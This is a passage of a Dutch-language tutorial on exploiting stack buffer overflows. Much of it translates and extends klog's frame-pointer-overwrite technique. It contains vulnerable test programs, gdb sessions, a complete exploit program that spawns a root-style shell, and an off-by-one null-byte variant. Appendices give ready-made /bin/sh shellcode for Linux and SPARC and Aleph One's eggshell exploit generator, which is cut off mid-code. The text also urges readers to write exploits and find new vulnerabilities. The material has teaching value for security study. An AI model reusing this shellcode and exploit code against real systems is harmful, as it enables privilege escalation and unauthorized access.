om de shellcode niet in de buffer die gemangeld wordt op te slaan maar, zoals boven gebeurt, in het environment of in een andere buffer in het programma. Helaas had ik dit nog niet bedacht op CCC zodat Gerrie mij meer dan een dag heeft zien zwoegen met shellcode voor een bepaalde webserver (wat toen is opgelost door de shellcode een soort uuencode behandeling te laten ondergaan). Het enige dat in zijn geheel door de mangel moet komen is het return adres. In de web-server waarover hierboven werd gesproken leverde dit een probleem op. De oplossing hiervoor was om de volgorde van shellcode en NOP's om te keren, dus eerst de shellcode, dan de NOPS' en vervolgens een relatieve JMP terug naar de shellcode. Iets anders dat misschien een oplossing voor een gemangeld return adres is is alleen de frame pointer te overschrijven, zoals verderop wordt uigelegd. Non executable Stack ~~~~~~~~~~~~~~~~~~~~ Non executable stacks kunnen een groot probleem zijn. Het probleem bij deze stacks is namelijk dat het onmogelijk om instructies op de stack uit te voeren. Wat betekend dat de shellcode niet op de stack mag staan. De makkelijkste oplossing is op dit moment om de shellcode in het data-segment te zetten (in malloced space dus), aangezien ik op dit moment geen systeem ken met een non-executable data segment. Aangezien ik zelf niet erg veel ervaring heb met het verslaan van een non executable stack staat hier verder weinig info, misschien komt er later nog een artikel over. Ik had in eerste instantie een oplossing die gebaseerd was op het terugkeren in libc, maar Solar Designer (bouwer van de Non-executable-stack patch voor Linux) had daar allang over gedacht en die manier werkt dus niet onder Linux, mogelijk is het nog wel een goede manier voor andere systemen, die uit zich zelf al een non-executable stack hebben, als je de info alsnog wilt hebben weet je de weg. Het vinden van Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Zoals ook al eerder is gezegd zijn bufferoverflows het gevolg van het stoppen van meer informatie in een buffer dan er in past. Omdat C niet erg veel ingebouwde bound checks heeft zijn er vele functies die een character string kopieren zonder op de lengte te letten. Voorbeelden hiervan zijn: strcpy(), strcat(), sprintf(), vsprintf() deze functies werken met strings die beeindigd worden door null bytes en checken niet voor een overflow. gets() is een functie die een regel leest van de standaard invoer en deze in een buffer plaatst zonder op de lengte te letten. De verschillende scanf() functies kunnen voor problemen zorgen door dat de %s optie wordt gebruikt of de %[] optie zonder de optionele maximum lengte. Al deze functies leiden makkelijk tot overflows als zij worden gebruikt in combinatie met niet gecontroleerde invoer. Een andere programmeer constructie die je regelmatig voorkomt is een while loop waarin characters worden gelezen en in een buffer worden geplaats of van de ene buffer naar de andere buffer worden gekopieerd. Vaak zijn dit constructies met getc(), fgetc(), getchar() of functies met dezelfde strekking. Bij het kopieren is de *p++ = *q++ karakteristiek. Om af te sluiten: grep(1) is je vriend. Van zeer veel programma's is de source openbaar. Dit is extra interessant als je bedenkt dat veel commerciele software is afgeleidt van dezelfde source. May the source be with you. Als oefening is het goed om oudere sources te gebruiken (debian 1.2 is mijn favoriet) en daar de bekende bugs in op te sporen en hiervoor exploits te bouwen. (mount // suidperl // crontab // bootpd // rpc.mountd (die laatste lukt je niet in debian maar goed)). Frame pointer overwriting ~~~~~~~~~~~~~~~~~~~~~~~~~ Dit laatste stuk gaat over het exploiten van bufferoverflows onder een van de slechts denkbare condities: een overflow van slechts 1 byte. Dit stuk is geschreven aan de hand van klog's (klog@promisc.org) artikel in Phrack 55, file 08. Het enige nieuwe is dat het in het Nederlands is en de toevoeging van een stuk waarin een aantal van de bezwaren die klog ziet wordt opgelost alsmede een moeilijkere variant die waarschijnlijk echter meer voorkomt, de off-by-one bufferoverflow waarbij door een denkfout van de programmeur het mogelijk is dat er een null byte net voorbij het einde van de buffer word geschreven. Van dit laatste zal ook een engelse versie komen. (Die is er echter op dit moment nog niet) Hieronder staat een voorbeeld van een vulnerabel programma welke we "suid" noemen, het is geschreven op zo'n manier dat er slechts eeen byte kan worden geoverflowd. ipdev:~/tests$ cat > suid.c #include func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(-1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c -o suid ipdev:~/tests$ Zoals je kan zien is er niet erg veel ruimte om dit programma te exploiten. In feite kunnen we slechts een byte overflowen en deze zullen we op een slimme manier moeten gebruiken. Voordat we beginnen met de exploit moeten we kijken wat deze byte nou werkelijk overwrite, (als het goed hebt opgelet weet je dit al maar goed). We bekijken de stack mbv gdb op het moment van de overflow. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) Zoals we weten pusht de processor het return adres op de stack bij het uitvoeren van de CALL instructie. Vervolgens pusht ons programma %ebp op de stack en vervolgens wordt er ruimte gereserveerd voor de locale variabelen, door $0x104 van esp af te trekken. $0x104 bytes worden gereserveerd, $0x100 voor de buffer en $0x04 voor de int. Houdt er rekening mee dat de variabelen tot een veelvoud van 4 bytes worden aangevult. De stack ziet er dus als volgt uit op het moment van de overflow: bottom of top of memory memory i buffer sfp ret *sm <------ [ ][ ][ ][ ][ ] ^ ^ +- buffer[000] +- buffer[255] top of bottom of stack stack (Noot in de buffer is niet meer elk hokje 1 byte) Dit betekent dat de byte de we overflowen deel uit maakt van de saved frame pointer, hoe kunnen we nu deze byte gebruiken om loop van het programma te wijzigen? Laten we kijken wat er gebeurt met deze %ebp. We weten dat hij wordt herstels aan het einde van de functie, zoals we kunnen zien op 0x804817e. Maar wat gebeurt er dan? (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Great! Nadat func() is aangeroepen wordt %ebp aan het einde van main() naar %esp gekopieerd (0x80481b1) en vervolgens returned main(). We kunnen dus %esp naar een min of meer willekeurige waarde wijzigen. Laatste check of we gelijk hebben. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) Het lijkt alsof we gelijk hebben, na dat we de buffer hebben geoverflowed met 1 'A' (0x41), wordt %ebp gekopieerd naar %esp welke wordt verhoogd met 4 doordat %ebp van de stack wordt gepopped. Dit levert op: 0xbffffd41 + 0x4 = 0xbffffd45 De exploit ~~~~~~~~~~ Wat levert het veranderen van de stack pointer op? We kunnen niet rechtstreeks de waarde van %eip veranderen maar we kunnen wel zorgen dat de processor denk dat deze zich op een andere plaats bevind. Als de processor terug keert van een functie pop hij de eerste waarde van de stack onder de aanname dat dat de correcte %eip is. Maar als we %esp veranderen kunnen we ervoor zorgen dat de processor een andere %eip popt en aldus de loop van het programma veranderen. De buffer moet er dus als volgt uit zien: [nops+shellcode][&shellcode][%ebp veranderend byte] Om dit te doen moeten we eerst bepalen met welke waarde we %ebp moeten wijzigen. Hoe ziet de stack eruit op het moment van de bufferoverflow? N = nop, S = shellcode, A = adres van shellcode (of nops) van sfp is 1 byte veranderd bottom of top of memory memory i buffer sfp ret *sm <------ [ ][NNNNNNNNSSSSSSSSAAAA][ ][ ][ ] ^ ^ +- buffer[000] +- buffer[255] top of bottom of stack stack We willen dat %esp wijst naar &shellcode zodat het adres van de shellcode naar %eip wordt gepopt als de processor terug keert van main(). Nu we precies weten hoe het programma willen exploiten moeten de nodig informatie uit het programma halen, deze informatie bestaat uit het adres van de geoverflowde buffer en uit het adres van de pointer naar onze shellcode (&shellcode). We runnen het programma alsof we het willen exploiten met een 257 bytes string. Om dit te doen moeten we eerst een nep-exploit schrijven dat de context van "suid" nabootst om aan de infomatie te komen. ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) Bingo. We hebben nu de %esp vlak nadat de functie is aangeroepen. mbv deze waarde kunnen we berekenen dat de buffer op adres 0xbffffc60 + 0x4 (sizeof(int)) = 0xbffffc64 en dat de pointer naar onze shellcode zal worden geplaatst op 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (sizeof our pointer) = 0xbffffd60. Tijd voor de exploit ~~~~~~~~~~~~~~~~~~~~ Nu we deze waardes hebben kunnen we een volledige versie schrijven van het exploit inclusief de shellcode, de pointer naar de shellcode en de overschrijvende byte. De waarde waarmee we de sfp moeten overschrijven is 0x60 - 0x04 = 0x05c aangezien we %ebp poppen vlakvoor het returnen vanuit main(). Deze 4 bytes comperseren voor deze pop. Voor de pointer naar de shellcode telt het zelfde als het return adres in een normale bufferoverflow, hij hoeft niet precies naar de code te wijzen, ergens in de nops is ook goed. Hij moet dus wijzen naar ergens tussen de nops, tussen het begin van de buffer (0xbffffc64) en onze shellcode (0xbffffc64 - sizeof(shellcode)) we kiezen 0xbfffffc74. ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ FanFuckingTastisch (oeps). Laten we beter kijken naar wat er gebeurde, als je het al begrepen hebt kun je skippen naar het einde. ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) We zetten een aantal breakpoints neer zodat we precies de uitvoer van het suid programma kunnen volgen. We proberen de waarde van %ebp en %esp te volgen totdat onze shellcode uitgevoerd wordt. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Deze breakpoints zorgen ervoor dat we de waarde van %ebp kunnen blijven volgen terwijl deze van de stack wordt afgehaald. Deze waardes komen overeen met de orginele en de overschreven waardes. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Hier willen we bijhouden het kopieren van de overschreven %ebp naar %esp en de inhoud van %esp totdat de return van main() gebeurt. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) De eerste keer zien we de orginele waarde van %ebp. Nadat hij wordt gepopd van de stack kunnen we zien dat hij wordt vervangen door degene die overschreven is door 0x5c. Daarna wordt deze %ebp gekopieerd naar %esp en uiteindelijk wordt %esp verhoogt met 4 voor de pop van %ebp en eindigd %ebp met de uiteindelijke waarde, 0xbffffd60. Laten we kijken wat daar in het geheugen staat. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) We kunnen zien dat 0xbffffd60 het adres is van de pointer naar de shellcode, welke in dit geval midden in de nops wijst. Als de processor terug keert van main() zal hij deze pointer naar %eip poppen en daar verdergaan met het uitvoeren van de shellcode. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ Het onderstaande stuk is een vertaling van klog's conclusie als er rare dingen instaan is dit hoogst waarschijnlijk aan mij te wijten, lees de orginele (engelse) tekst als je dit zeker wilt weten <-------- Conclusies van klog ~~~~~~~~~~~~~~~~~~~ Hoewel de techniek er leuk uitziet blijven er een aantal problemen onopgelost. Het naar je hand zetten van de loop van een programma door slechts 1 bytes te overschrijven is zeker mogeijk, maar onder wat voor condities? Het is een feit dat het exploiten van een 1 bytes bufferoverflow erg moeilijk kan zijn in een vijandige omgeving of erger, op een remote host. Het is noodzakelijk de exacte grote van de stack van het doel process te gokken. Bovendien moet de buffer die wordt geoverflowed de eerste zijn in de functie, en moet deze een veelvoud van 4 bytes zijn aangezien je anders slechts een padding byte overflowed. En wat gebeurt er als we een big-endian systeem willen exploiten? Dit is practisch onmogelijk aangezien we alleen de most significant byte kunnen overschrijven en het adres wat we dan bereiken is hoogst waarschijnlijk niet in ons bereik.... Toch kunnen er aan deze ongeveer onmogelijke exploit sitatie conclusies worden verbonden. Hoewel het me zou verbazen als iemand in staat is deze techniek te gebruiken voor een real world exploit, het maakt zeker duidelijk dat er niet zoiets is als een kleine of een grote vulnerability. Elke lek is exploitable, het enige dat je te weten moet komen is hoe. Met dank aan: binf, rfp, halflife, route ------->Einde vertaling van klog's conclusie. Oplossing van de Dvorak ~~~~~~~~~~~~~~~~~~~~~~~ De hierboven genoemde bufferoverflow zal (mijn inziens) in de praktijk weinig voorkomen, wat waarschijnlijker is een overflow waarbij door een rekenfout van de programmeur een 0 byte op de verkeerde plaats wordt geschreven, wat vooral kan voorkomen bij het veelvuldig gebruik van while lussen in combinatie met constructies als *p++ = *q++. Hier onder staat een tweede vulnerable programma. (Belabberde code, in het echt kom je het niet zo tegen maar hij komt uiteindelijk op dezelfde overflow uit). (Als de overflow van de soort is die in klog's stuk wordt genoemd zou je $00 of $04 als overschrijvende byte kunnen gebruiken om het practish zelfde resultaat te bereiken.) vuln.c void function(char *str) { char buffer[0x100]; int len; len = strlen(str); if (len > sizeof(buffer)) len = sizeof(buffer); strncpy(buffer, str, len); buffer[len] = '\0'; } void main(int argc, char *argv[]) { function(argv[1]); return; } De programmeur heeft duidelijk zijn best gedaan om een overflow te voorkomen, wat gebeurt er achter als we toch een te lange string meegeven aan het programma? $ ./vuln `perl -e 'print "A" x 255'` $ ./vuln `perl -e 'print "A" x 1024'` Segmentation fault (core dumped) ./vuln $ exit We krijgen nog steeds een segmentation violation, hoe komt dit? Als we een 1024 byte string aan function() voeren zal hij zien dat dit meer is dan sizeof(buffer) welke 0x100 (256) is. Hij zal dus maximaal 256 bytes kopieren tot zover is alles correct. Wat gebeurt er daarna echter? Hij probeert de string op een nette manier te beindigen met een null byte. Waar komt deze terecht? in buffer[256] dit is 1 byte voorbij het einde van de buffer, (het is nog steeds C, een buffer van 256 bytes loopt van 0 tot 255). Dit betekend dat een deel van de sfp wordt overschreven met een 0 byte. Deze wordt in gekopieert naar %esp en er wordt vervolgens een verkeerde %eip gepopped en het programma crasht. Wat is het resultaat voor de registers? $ ./vuln `perl -e 'print "A" x 256'` zsh: segmentation fault (core dumped) ./vuln $ gdb vuln core GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i486-debian-linux), Copyright 1996 Free Software Foundation, Inc... (no debugging symbols found)... Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,{'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.5.4.13...(no debugging symbols found)...done. Reading symbols from /lib/ld-linux.so.1...(no debugging symbols found)...done. #0 0x41414141 in ?? () (gdb) info reg eax 0xbffffc38 -1073742792 ecx 0xbfffff14 -1073742060 edx 0xbffffd38 -1073742536 ebx 0x0 0 esp 0xbffffd08 0xbffffd08 ebp 0x41414141 0x41414141 esi 0x40005fd8 1073766360 edi 0x8048400 134513664 eip 0x41414141 0x41414141 eflags 0x10286 66182 cs 0x100023 1048611 ss 0x9002b 589867 ds 0xbfff002b -1073807317 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) quit Het blijkt dat %eip is veranderd in 0x41414141 dit is op zich vreemd aangezien 265 bytes nooit genoeg zijn om het return adres te overschrijven, de verklaring zit in het vorige stuk (happy thinking ;). Ook kan je zien dat %ebp 0x41414141 is geworden, dit alsgevolg van de pop %ebp vlak voor het einde van main(). De plaats waarvandaan %eip wordt gepopped is (de veranderde) %ebp + 0x4 (vanwege pop %ebp in main) we moeten dus zorgen dat daar een pointer naar shellcode staat. klog loste dit op door de precieze locatie te berekenen en merkte later op dat dit een probleem wordt voor remote exploits. Hoe lossen wij het dan op? Aangezien de laagste byte van %ebp 0 wordt wordt %ebp practisch altijd verlaagd (de uitzondering is als de laagste byte al 0 was, dan hebben we gewoon pech) waardoor %ebp nu ergens in onze buffer wijst. Als we dus onze hele buffer (of in iedergeval de bovenste 256 bytes) vullen met het adres van de shellcode hebben we een grote kans van slagen. Dit gaat alleen mis als de laagste byte van %ebp 0 was, er verandert dan niets. Ook gaat het mis als de laagste byte van %ebp 4 was, wat gebeurt er dan namelijk: %ebp wordt 4 lager en point dan precies in de achterkant van de buffer. Deze waarde wordt gekopieert naar %esp. Als dan %ebp wordt gepopt in main() wijst %esp naar de oude plaats van %ebp (doordat er 4 bytes bij worden opgeteld), en deze waarde wordt gepopt als volgende waarde voor %eip. De waarde op die plaats is het adres van de bovenkant van de buffer zodat %eip daar heen wijst en niet naar de shellcode. In de andere gevallen werkt dit systeem goed. Nu moeten we alleen nog een plaats hebben voor de shellcode en die plaats te weten komen, we kunnen de code bijvoorbeeld plaatsen in het environment, of bij een remote exploit, in een andere buffer in het programma. En daarvan het adres gokken // te weten komen op dezelfde manier als bij een standaard bufferoverflow. Als test kan de perl-exploit.pl aan het einde worden gebruikt als de laagste byte van %ebp niet toevallig 0 of 4 is werkt deze tegen ./vuln. Alvast excuses voor het feit dat ik geen diepgaande uitleg geef, lees het laatste stuk rustig door en experimenteer wat, je komt er wel uit, als je het wilt gebruiken zonder het te snappen: Vul de buffer met het adres van de shellcode en met een beetje geluk komt het goed. Conclusie ~~~~~~~~~ Het blijkt minder moeilijk om de bug te exploiten dan gedacht doordat de gehele buffer gevuld kan worden met het mogelijk adres van de shellcode. Een probleem blijft als de laagste byte van %ebp 0 of 4 is. Dit is bij een local exploit makkelijk op te lossen door extra dingen in het environment te stoppen. Bij een remote exploit is dit een groter probleem, maar bij elke daemon die automatisch gerestart wordt kan er meerdere malen worden geprobeert. Eventueel kan dan ook het geval met het laagste byte van %ebp = 4 worden geexploit. (Door de shellcode in de buffer te plaatsen en te eindigen aan het einde van de buffer met een relatieve sprong naar de rest van shellcode, try it) Een aantal van de problemen die klog zag blijven overeind: De buffer moet een veelvoud van 4 bytes groot zijn, het moet de eerst gedeclareerde variabele in een functie zijn, het systeem moet little-endian zijn en bovendien moet de parent functie (de functie die de functie met de overflow aanroept, main() in dit geval) niet te veel doen met zijn locale variabelen of argumenten aangezien zijn frame pointer is gewijzigd, ook mag de parent niet nog andere functies aanroepen aangezien anders de pointers naar de shellcode overschreven kunnen worden. En nu allemaal een paar oefen exploits bouwen en dan opzoek naar nieuwe vulnerabilities. En als je die vindt: stuur een mailtje met details naar dvorak (@hit2000.org // @synnergy.net) Literatuur ~~~~~~~~~~ Aleph One (aleph1@underground.org), "Smashing the Stack for Fun and Profit", Phrack Magazine (www.phrack.com), Volume 7, Issue 49, File 14 of 16. klog (klog@promisc.org), "The Frame Pointer Overwrite", Phrack Magazine (www.phrack.com), Volume 9, Issue 55, File 8 of 19. Linus Torvalds and others, "Linux Kernel Source", /usr/src/linux. Lots of authors, "Linux man pages", /usr/man. Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Deze Shellcodes alsmede het eggshell programma zijn afkomstig van Aleph1. i386/Linux jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" SPARC/Solaris sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 SPARC/SunOS sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif eggshell.c /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; 